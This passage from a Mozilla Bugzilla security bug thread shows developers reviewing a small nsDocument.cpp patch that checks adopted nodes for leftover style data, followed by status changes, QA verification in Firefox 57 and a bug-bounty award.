Attachment #8910130 -
Flags: review?(bobbyholley)
|
|
||
Comment 33•7 years ago
|
||
Comment on attachment 8910130 [details] [diff] [review]
patch for the assertion
Review of attachment 8910130 [details] [diff] [review]:
-----------------------------------------------------------------
I don't have time to check before going to bed, but does nsIDocument::AdoptNode get called for all the implicit adoption cases that happen via CloneAndAdopt etc?
::: dom/base/nsDocument.cpp
@@ +7792,5 @@
> }
> }
>
> +// Recursively check whether this node or its descendants contain any
> +// pre-existing style declaration with it.
I think we also want to check for the element flags, because those have different meaning across the style backends, which was the cause of the assertion in the bug I duped to this one.
Attachment #8910130 -
Flags: review?(bobbyholley)
|
|
Assignee | |
Comment 34•7 years ago
|
||
(In reply to Bobby Holley (:bholley) (busy with Stylo) from comment #33)
> Comment on attachment 8910130 [details] [diff] [review]
> patch for the assertion
>
> Review of attachment 8910130 [details] [diff] [review]:
> -----------------------------------------------------------------
>
> I don't have time to check before going to bed, but does
> nsIDocument::AdoptNode get called for all the implicit adoption cases that
> happen via CloneAndAdopt etc?
nsNodeUtils::CloneAndAdopt recursively calls itself for children of the node, so I suppose nsIDocument::AdoptNode isn't recursive.
> ::: dom/base/nsDocument.cpp
> @@ +7792,5 @@
> > }
> > }
> >
> > +// Recursively check whether this node or its descendants contain any
> > +// pre-existing style declaration with it.
>
> I think we also want to check for the element flags, because those have
> different meaning across the style backends, which was the cause of the
> assertion in the bug I duped to this one.
Hmm, okay.
|
|
Assignee | |
Comment 35•7 years ago
|
||
Attachment #8910130 -
Attachment is obsolete: true
Attachment #8910142 -
Flags: review?(bobbyholley)
|
|
||
Comment 36•7 years ago
|
||
Status: NEW → RESOLVED
Closed: 7 years ago
Resolution: --- → FIXED
Target Milestone: --- → mozilla57
|
|
||
Comment 37•7 years ago
|
||
Bah.
Status: RESOLVED → REOPENED
Resolution: FIXED → ---
Target Milestone: mozilla57 → ---
|
|
Assignee | |
Comment 38•7 years ago
|
||
I put the leave-open keyword... well, it's fine to mark it FIXED, though, since it is fixed :)
Status: REOPENED → RESOLVED
Closed: 7 years ago → 7 years ago
Resolution: --- → FIXED
Target Milestone: --- → mozilla57
|
|
Assignee | |
Comment 39•7 years ago
|
||
Wait... I didn't change the flag... it seems bugzilla somehow confused on the conflict :/
Status: RESOLVED → REOPENED
Resolution: FIXED → ---
|
||
Updated•7 years ago
|
tracking-firefox57:
? → ---
|
|
||
Comment 40•7 years ago
|
||
Comment on attachment 8910142 [details] [diff] [review]
patch for the assertion
Review of attachment 8910142 [details] [diff] [review]:
-----------------------------------------------------------------
r=me with that one change. Can you move this patch into another, non-P2 bug so we can resolve this one right now? It's just belt-and-suspenders, and I'm trying to keep track of all the unresolved P2s before the merge and so trying to minimize noise. Thanks!
::: dom/base/nsDocument.cpp
@@ +7800,5 @@
> + if (aNode->IsElement()) {
> + Element* elem = aNode->AsElement();
> + if (elem->GetInlineStyleDeclaration() ||
> + elem->GetSMILOverrideStyleDeclaration() ||
> + elem->HasAnyOfFlags(ELEMENT_SHARED_RESTYLE_BITS)) {
Also check HasServoData?
Attachment #8910142 -
Flags: review?(bobbyholley) → review+
|
|
Assignee | |
Comment 41•7 years ago
|
||
OK.
Status: REOPENED → RESOLVED
Closed: 7 years ago → 7 years ago
Resolution: --- → FIXED
|
|
Assignee | |
Updated•7 years ago
|
Keywords: leave-open
|
|
||
Updated•7 years ago
|
Group: layout-core-security → core-security-release
|
||
Comment 42•7 years ago
|
||
Confirmed issue on Nightly Fx57.0a1, 2017-09-16.
Verified fixed on Fx57.0b14.
Flags: qe-verify+
Whiteboard: [post-critsmash-triage]
|
|
||
Updated•7 years ago
|
Flags: sec-bounty?
|
|
||
Updated•7 years ago
|
Flags: sec-bounty? → sec-bounty+
|
|
||
Updated•7 years ago
|
Group: core-security-release
|
|
||
Updated•7 years ago
|
Attachment #8944485 -
Attachment description: nils@vulndev.org,4000?,2017-09-16,2017-09-20,2018-01-22,true,,, → nils@vulndev.org,4000,2017-09-16,2017-09-20,2018-01-22,true,,,
You need to log in
before you can comment on or make changes to this bug.
Description
•